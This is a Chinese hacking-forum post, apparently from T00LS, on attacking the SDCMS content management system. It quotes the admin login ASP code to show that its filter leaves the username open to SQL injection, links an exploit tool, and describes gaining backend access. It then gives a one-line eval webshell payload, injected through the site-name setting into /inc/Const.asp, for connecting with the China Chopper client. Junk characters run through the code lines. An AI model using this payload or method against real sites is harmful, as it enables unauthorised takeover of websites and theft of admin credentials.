SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

; O( R* A* i' Y( J2 ESub Check
1 w+ B3 c% E* M8 r$ v    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
6 {2 ~4 D8 D% q. }    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
9 @, |6 D: V6 u; E( }) l$ T# @    code=Trim(Request.Form("yzm"))
% \* B. z: a4 U4 i    getcode=Session("SDCMSCode")
% Q" g8 u) ^* U: I# M    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
# ^! J' v( V* ~& Y, `    IF username="" or password="" Then
" Z* i& @7 c( J4 g* X        Echo "用户名或密码不能为空"ied
- ?" b! P: ~# Z8 L% U    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
2 {7 U- n: L4 o            AddLog username,GetIp,"登录失败",1
1 m) R- z. e4 H' }  J) q& c            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
3 \# Q- z# V2 `  ]- H$ B3 q5 H7 X            Add_Cookies "sdcms_name",username
: ~0 S" b$ a5 I) D7 P" t6 _2 p            Add_Cookies "sdcms_pwd",Rs(2)
5 g. d9 g: g) |. j( \* y) X8 U9 j6 O            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
! d5 ?3 W+ F3 \- T            Add_Cookies "sdcms_infolever",Rs(5)
: z, s# t: k5 u5 J: {; x            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
; B: _- g/ E' M9 M, T5 j9 E                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
( w4 f6 J5 q3 [                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
2 p: Y- R, e+ ~  K            End IF
            Go("sdcms_index.asp")
/ q* D1 h+ x) y; }2 C3 A        End IF
5 t" i+ D6 ~- d; Z  T        Rs.Close
        Set Rs=Nothing
6 T5 R! U) x6 J, {# P  R& G    End IF
. s" x' s2 T& `' }5 I7 w; `  GEnd Sub

; g: f$ b0 i2 {’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
/ i7 n, R5 ^% n4 o* U2 d    t0=Trim(t0)
6 d: j2 E$ y) k  i' e" ~( E    Select Case t1
( l) c% \: f( F6 M2 [- P1 ?% ^        Case "1"
  b% M$ w6 Q* H. W8 O            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
4 w6 L5 M9 i" C) d0 c( R            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
* S  @9 A% \$ Y2 R) E) d0 J# R            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
2 P! M/ p% W# r% ~( L$ A            t0=Replace(t0,Chr(32),"")'空格 SPACE
! w% l5 w( _' l6 p& j8 G3 u            t0=Replace(t0,Chr(33),"")'!
$ z. `/ `& V4 ]6 y            t0=Replace(t0,Chr(34),"")'"
% R, a1 V: Y* Q) i+ l3 `* G9 ?            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
+ J  F# A4 O) N" ?9 w( G            t0=Replace(t0,Chr(37),"")'%
$ m/ z# M5 c2 C$ l$ F! T4 q            t0=Replace(t0,Chr(38),"")'&
% Z6 D' G1 n4 N( ^2 t" r9 D: w8 T            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
% \. ?" k% i8 l) _            t0=Replace(t0,Chr(41),"")')
# @  s4 G4 a2 m0 v" _' u            t0=Replace(t0,Chr(42),"")'*
- ?% ]1 P0 N; d2 S            t0=Replace(t0,Chr(43),"")'+
2 ?( V% u/ h' p3 j0 I            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
7 i; g$ h- b: `            t0=Replace(t0,Chr(46),"")'.
. @7 `2 K5 P7 M5 D  E4 D  j  T            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
' k$ s* ]7 s8 C$ ?5 h& n            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
* |* D- j% {- X2 P            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
, b* R3 K1 _- y( I9 H            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
# t  }4 R5 J1 H) O            t0=Replace(t0,Chr(125),"")'}
% |! d) \0 c5 A. v            t0=Replace(t0,Chr(126),"")'~
6 c8 R, ]2 V+ L' t9 U    Case Else
! }& r2 E7 F2 v' Y6 q  q8 G' v- M        t0=Replace(t0, "&", "&")
  p$ {9 s5 x7 R        t0=Replace(t0, "'", "'")
7 v: d$ z# U7 q, d5 ]        t0=Replace(t0, """", """)
6 j* Y# T6 v8 A: l        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
6 ]$ q9 N  n' u4 O/ ?! A( Y    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
8 Z, O: D+ O$ s6 T& a    End If
    FilterText=t0
End Function
/ @- \& s" L, i4 w& _
看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
8 m1 g8 K' K: v; q& a")
                        t0=Replace(t0,Chr(10),"
9 p7 F9 f4 J* N! J")
, a; U3 n  p7 ]5 f! r6 h0 Z: K* X& u漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
" R+ I0 o# v( t. H0 c0 m, v" CEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

; r  P/ \/ v$ S# t测试:

- z* r- A1 T" e0 g2 X
现在输入工具上验证码,然后点OK

! b+ c9 |5 K+ ^2 n
看到我们直接进入后台管理界面了,呵呵!

8 _5 E. v  F4 h5 [: ^/ q8 T

这样直接进入后台了。。。。

7 e8 H  y$ l) P5 ^  G4 P* K* Y& c
) y) {# u: F& z$ N& |. D- Z% F' r  k
SDCMS提权:
1 i# m1 |5 V* s2 u2 ]% r+ n8 M
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?



OK,现在用菜刀连接下!




& o7 ?$ n5 K+ ?' i  H3 x
& w, B, v& q$ T, d) \; S9 ^' d